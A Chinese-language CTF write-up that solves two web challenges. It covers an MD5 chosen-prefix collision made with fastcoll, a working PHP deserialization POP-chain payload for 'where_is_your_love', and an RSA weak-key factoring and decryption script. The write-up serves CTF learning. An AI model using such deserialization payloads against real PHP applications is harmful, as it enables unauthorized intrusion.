又是蓝桥杯又是期末周什么的CTF搁置了好长一段时间,暑假开始恶补!

老狼老狼几点了

题目考察了一个反序列化逃逸还有MD5的构造前缀碰撞法,主要是这个MD5的构造前缀碰撞法之前没有遇到过,所以做题的时候直接在这一步卡住了。

构造前缀碰撞法

顾名思义,能够指定前缀,创造出两个前缀相同,内容不同,但MD5值相同的方法。使用到的工具在这里: fastcoll 。将前缀存到txt文件中,拖动到fastcoll上使用它打开,之后文件夹中会自动生成两个碰撞后文件,它们的MD5值相同。或者在命令行中-p指定文件进行生成。

where_is_your_love

当时做的时候就卡在了pop链构造的最后一环了,现在再回头看这个pop链还是挺清晰的,只是有几块链接的触发方式有些生疏。链子的构造结构大致为:

1
2
3
4
5
6
7
8
9
10
11
class boy::__destruct()

class girl::__call()

class helper::__isset()

class boy::__toString()

class helper::__get()

class love_story::love()

直接结合POC进行分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
class boy {
public $like;
public function __construct($a)
{
$this->like=$a;
}
}
class girl {
private $boyname;
public function __construct($a)
{
$this->boyname=$a;
}
}
class helper {
private $name;
private $string;
public function __construct($string,$a) {
$this->string = $string;
$this->name=$a;
}
}
class love_story {
public $fall_in_love = array(0=>"girl_and_boy");
}
$hp1=new helper(array('string' => [new love_story(),"love"]),'0');
$bo1=new boy($hp1);
$hp2=new helper('et3',$bo1);
$gi1=new girl($hp2);
$bo2=new boy($gi1);
$final=serialize($bo2);
echo urlencode($final);

根据POC的顺序开始分析,由于这个pop链的最终目的是触发 echo flag; ,因此首先新建一个love_story类,在类中定义一个成员变量$fall_in_love,值为array(0=>”girl_and_boy”)用于过love方法中的if判断,array_walk中的function第一个参数是值,第二个参数是键,于是如此构造可以正常触发if判断。之后新建一个helper类使用类中的__get魔术方法调用love_story类中的love方法,传入变量后hp1对象的string为array(‘string’ => [new love_story(),”love”]),为何要传string而不是name?再往上看__get方法是boy中的__tostring方法触发的,而触发时传入的$name的值正是字符串string,因此需要传string而不是name。之后就一步步来了,__tostring由helper中的__isset方法触发,因此hp2中的name应当是bo1。__isset方法是由girl中的__call触发的,因此gi1中的boyname需要为hp2,__call方法是由boy中的__destruct方法触发的,因此bo2中的like需要为gi1,如此一来pop链构造完成。

看了别人的wp发现还远不止这么简单,之前也分理处一个公钥文件和一个无法打开的letter.php文件,拿到公钥文件后可以通过在线解析进行公钥处理得到公钥的e和n,下面就需要将n进行质数分解。一般情况下n足够大,质数分解十分困难,但当p和q(p*q=n)相差很小或很大时可以比较轻松的进行分解,使用工具yafu进行分解,得到pq,之后根据公式e*d%p*q=1计算出d即为私钥,使用私钥对密文letter进行转换(letter.php的十六进制转换为十进制)得到加密脚本,使用python反向编写出解密脚本就能得到flag。下面python脚本作用为计算私钥d并将密文进行解密:

1
2
3
4
5
6
7
8
9
10
11
from gmpy2 import gcd, invert, powmod
from Crypto.Util.number import long_to_bytes
p=147080233415299360057845495186390765586922902910770748924042642102066002833475419563625282038534033761523277282491713393841245804046571337610325158434942879464810055753965320619327164976752647165681046903418924945132096866002693037715397450918689064404951199247250188795306045444756953833882242163199922206967
q=147080233415299360057845495186390765586922902910770748924042642102066002833475419563625282038534033761523277282491713393841245804046571337610325158434942879464810055753965320619327164976752647165681046903418924945132096866002693037715397450918689064404951199247250188795306045444756953833882242163199922205709
c=8530254588966829834455480951833906070732403148510679362017565373269750418176646166382400178332972934093607408789719445565168370783220246473879672034218470400732624257045578085540515891000814358767437128590401597444541696561481439298734912632565289036244550789132932902805182079009950598882089323755520241569224684015358042478580914974188294787845638991395473487016273040555985633410751273015735335845836542698535898307328352997348976696598676776174058972462475116192041274686219418443286829062909262677318075802057309325237728547222618694816652165687827001008767201596367396977903210658846434611166296693949845404303
phi=(p-1)*(q-1)
e=65537
d = invert(e,phi)
n=21632595061498942456591176284485458726074437255982049051386399661866343401307576418742779935973203520468696897782308820580710694887656859447653301575912839865540207043886422473424543631000613842175006881377927881354616669050512971265340129939652367389539089568185762381769176974757484155591541925924309034566325122477217195694622210444478497422147703839359963069352123250114163369656862332886519324535078617986837018261033100555378934126290111146362437878180948892817526628614714852292454750429061910217210651682864700027396878086089765753730027466491890569705897416499997534143482201450410155650707746775053846974603
m=long_to_bytes(powmod(c,d,n))
print(m)

letter.php解析出来的加密脚本